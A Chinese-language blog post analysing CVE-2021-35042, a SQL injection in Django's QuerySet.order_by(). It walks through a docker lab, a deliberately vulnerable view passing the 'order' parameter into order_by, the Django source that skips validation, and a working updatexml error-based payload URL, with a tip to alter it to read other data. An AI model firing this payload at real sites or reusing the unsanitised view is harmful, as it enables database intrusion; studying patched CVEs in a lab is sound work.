CVE-2021-35042

博客 分享
0 170
张三
张三 2022-05-07 13:58:54
悬赏:0 积分 收藏

CVE-2021-35042

CVE-2021-35042

漏洞介绍

Django 是 Python 语言驱动的一个开源模型-视图-控制器(MVC)风格的 Web 应用程序框架。

漏洞影响版本:django 3.1、3.2

2021年07月01日,Django 发布了3.2.5 和 3.1.13版本,修复了Django中的一个SQL注入漏洞(CVE-2021-35042),Django建议用户尽快升级。

由于传递给QuerySet.order_by()的用户输入未经处理,攻击者可以利用这绕过标记为弃用的路径中的预期列引用验证,从而导致SQL注入。

搭建环境

这里我们使用docker搭建环境

docker-compose.yml 中 ports下面- "映射到物理机的端口:docker容器的端口" ,映射到物理机的端口默认为8000,如果有本机其他端口有冲突可以手动修改。

启动环境

docker-compose up -d

django源码分析

url.py

可以理解为url路由

from django.urls import include, path, re_pathfrom . import viewsurlpatterns = [    path('vuln/', views.vul), # 如果请求http://ip:port/vuln/ 就会交给views.py中的vul函数进行处理]

views.py

处理对应http请求的函数

from django.shortcuts import HttpResponsefrom .models import Collectiondef vul(request):    query = request.GET.get('order', default='id') #获取url中的order的值,如果取不到默认将"id"赋值给query    q = Collection.objects.order_by(query) # 数据库查询操作    return HttpResponse(q.values()) # 将返回的数据作为响应体返回

models.py

from django.db import modelsclass Collection(models.Model):    name = models.CharField(max_length=128)

这里出漏洞的位置是Collection.objects.order_by,这里在docker容器中不太好分析/usr/local/lib/python3.8/site-packages/django下的文件,所以我们使用pycharm下载3.1版本的django。

上面views.py中的Collection.objects.order_by 我们ctrl点击order_by查看django源码

问题点在1134行的obj.query.add_ordering(*field_names)这里传入的参数也就是上面views.py的query

django\db\models\sql\query.py

   def add_ordering(self, *ordering):        errors = []        for item in ordering:            if isinstance(item, str):                if '.' in item:  # 如果包含.来个警告直接continue 绕过了安全验证                    warnings.warn(                        'Passing column raw column aliases to order_by() is '                        'deprecated. Wrap %r in a RawSQL expression before '                        'passing it to order_by().' % item,                        category=RemovedInDjango40Warning,                        stacklevel=3,                    )                    continue                if item == '?':  # 如果item完全等于?也绕过了安全验证,但是无法利用                     continue                if item.startswith('-'): # 如果以-开头对item进行处理,无法漏洞利用                    item = item[1:]                if item in self.annotations:                     continue                if self.extra and item in self.extra:                    continue                self.names_to_path(item.split(LOOKUP_SEP), self.model._meta) # 对参数进行安全验证            elif not hasattr(item, 'resolve_expression'):                errors.append(item)            if getattr(item, 'contains_aggregate', False):                raise FieldError(                    'Using an aggregate in order_by() without also including '                    'it in annotate() is not allowed: %s' % item                )        if errors:            raise FieldError('Invalid order_by arguments: %s' % errors)        if ordering:            self.order_by += ordering        else:            self.default_ordering = False

最方便的还是传入的参数中包含"."这样就可以直接绕过安全验证直接去sql字符串拼接

sql语句拼接的位置

django\db\models\sql\compiler.py

django\db\models\sql\compiler.py--->class SQLCompiler---->def get_order_by(self)

这里便利上面传下来的ordering ,这里有一个判断条件如果.在field中col没有经过处理直接丢进去了

现在其实就成了 select xxx from xxxx xxxxx orderby (这里可控);

漏洞复现

http://ip:port/vuln/?order=vuln_collection.name);select updatexml(1, concat(0x7e,(select @@version)),1)%23经过处理后就变成了下面的sql语句select xxx from xxxx xxxxx  orderby (vuln_collection.name);select updatexml(1, concat(0x7e,(select @@version)),1)%23

接着查看表查看数据什么的 修改 "select @@version"这一部分即可

posted @ 2022-05-07 13:38 beginner_z 阅读(0) 评论(0) 编辑 收藏 举报
回帖
    张三

    张三 (王者 段位)

    821 积分 (2)粉丝 (41)源码

     

    温馨提示

    亦奇源码

    最新会员